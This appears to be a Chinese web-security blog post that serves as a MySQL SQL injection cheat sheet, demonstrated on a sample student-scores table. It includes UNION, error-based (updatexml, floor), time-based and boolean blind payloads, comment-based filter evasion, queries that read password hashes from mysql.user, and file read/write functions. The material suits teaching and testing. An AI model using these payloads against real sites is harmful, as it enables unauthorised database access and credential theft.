List

  1. UNION 联合注入
  2. MySQL报错注入
  3. MySQL延时注入
  4. MySQL布尔盲注
  5. 其他类型注入

0x1 UNION 联合注入

mysql> select * from users order by 3;
+----+-------------+---------+---------+------+--------+
| id | name        | chinese | english | math | Strong |
+----+-------------+---------+---------+------+--------+
|  6 | ZhangJinbao |      55 |      85 |   45 |     10 |
|  2 | LiJin       |      67 |      53 |   95 |     10 |
|  7 | HuangRong   |      75 |      65 |   30 |     10 |
|  5 | LiLaicai    |      82 |      84 |   67 |     10 |
|  3 | WangWu      |      87 |      78 |   77 |     10 |
|  4 | LiYi        |      88 |      98 |   92 |     10 |
|  1 | XiaoMing    |      89 |      78 |   90 |     10 |
+----+-------------+---------+---------+------+--------+
7 rows in set (0.00 sec)

1. UNION 查询

SELECT * FROM users WHERE id = 1 ORDER BY 6;
SELECT * FROM users WHERE id = 1 UNION SELECT 1,2,3,4,5,6;
SELECT * FROM users WHERE id = 1 UNION SELECT 1,2,version(),database(),5,6 FROM users #LIMIT 1;

2. 内联注释

SELECT * FROM users WHERE id = 1 /*!ORDER*/ BY/**/6;
SELECT * FROM users WHERE id = 1/*!*/UNION/**/SELECT 1,2,@@version,database/*asdasd*/(),5,6 FROM users #LIMIT 1;
SELECT * FROM users WHERE id = 0/*!*/OR 1 = 1 UNION/**/SELECT 1,2,@@version,database/*asdasd*/(),5,6 FROM users;

3. ORDER BY 子句

ORDER BY 子句用来排序使用,与主查询相匹配

SELECT * FROM users WHERE id = 1 ORDER BY 6;

这里主查询是 * 就是所有列。

SELECT name FROM users WHERE id = 1 ORDER BY 1;

这里查询的为 name 一个列,如果order by 2 报错提示未知列;

ERROR 1054 (42S22): Unknown column '2' in 'order clause’ 。

4. 查询 mysql 用户密码

必须为ROOT权限,才可以进行跨裤操作。

SELECT host,user,authentication_string FROM mysql.user;   -- MYSQL 8.0
SELECT host,user,password FROM mysql.user;  -- MYSQL 5.5

5. 获取当前用户可操作的数据库

SELECT * FROM users WHERE id=1 UNION SELECT 1,2,3,4,5,group_concat(schema_name) FROM information_schema.schemata;

6. 获取指定数据库表名

SELECT * FROM users WHERE id=1 UNION SELECT 1,2,3,4,5,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='python';

7. 获取指定表的列名

SELECT * FROM users WHERE id=1 UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='python' AND TABLE_NAME='users';

8. 获取指定列的内容

SELECT * FROM users WHERE id=1 UNION SELECT 1,2,3,4,name,Strong FROM users;

Tips:

一般都是有 information_schema这个数据裤的,这个数据裤储存了当前用户的一些信息,数据库、数据表等信息。

group_concat(),手册上说明:该函数返回带有来自一个组的连接的非NULL值的字符串结果。

Mysql 5.0以上与5.0以下的区别:

5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。


0x2 MySQL报错注入

1. updatexml 报错注入

select * from users where id=1 and (updatexml(1,concat(0x3a,(select database())),1));

解释:

语法:UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值。

2. floor 报错注入

select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

0x3 MySQL延时注入

mysql> select sleep(3);
+----------+
| sleep(3) |
+----------+
|        0 |
+----------+

mysql> select name from users limit 1;
+----------+
| name     |
+----------+
| XiaoMing |
+----------+

1. 判断是否存在users表名

select * from users where id=1 and 0=if((select count(*) from users),sleep(3),1);
select * from users where id=1 and if((select count(*) from users),sleep(3),1);

2. 判断是否存在name字段

select * from users where id=1 and 0=if((select count(name) from users),sleep(3),1);
select * from users where id=1 and if((select count(name) from users),sleep(3),1);

3. 延时取出name字段数据

select * from users where id=1 and if(('g' = mid((select name from users limit 1),8,1)),sleep(3),1);

4. 利用ascii码取出 name字段数据

select * from users where id=1 and if((ascii(mid((select name from users limit 1),1,1))=88),sleep(3),1);
select * from users where id=1 and if((ascii(mid((select name from users limit 1),2,1))=105),sleep(3),1);

0x4 MySQL布尔盲注

1. 注入常用的函数

MID(要截取的字符串,起始位置,结束为止)             // 截取字符串
CHAR(ASCII)          // 返回ASCII码对应的字符
ASCII(字符)           // 返回字符对应的ASCII码值
ord(字符)             // 返回字符对应的ASCII码值
IF(逻辑表达式,True返回值,Flase返回值)           // 逻辑判断
SubStr(要截取的字符串,起始位置,结束为止)         // 截取字符串
length(字符串)        // 返回字符串的长度
count(列名)           // 返回当前列名下有效记录数*(NULL不计入)*
sleep(s)             // 延时s秒
\#、/**/、--          // 注释符
concat(字符串1,字符串2)                       // 拼接字符串
load_file(文件路径及名称)                     // 直接加载文件到源码中
INTO OUTFILE '文件路径及名称'                 // 输出

2. 判断是否存在users表名

select * from users where id=1 and 0<(select count(*) from users);   

// 返回真则存在users表名

3. 判断是否存在name字段

select * from users where id=1 and 0<(select count(name) from users);   

// 返回真则存在name字段

4. 取出 name 字段内容

select * from users where id=1 and 'g' = mid((select name from users limit 1),8,1);

// 'g' 是遍历的,后面的为真则递增加1,一直到8说明name字段的长度为8位;

// 在递增加1的话则永远为假,到这个时候脚本就可以停止了。


0x5 其他类型注入

1. 堆叠查询

2. 宽字节注入

3. 二次注入

4. order by 注入

标签: Web安全

添加新评论

marisa.png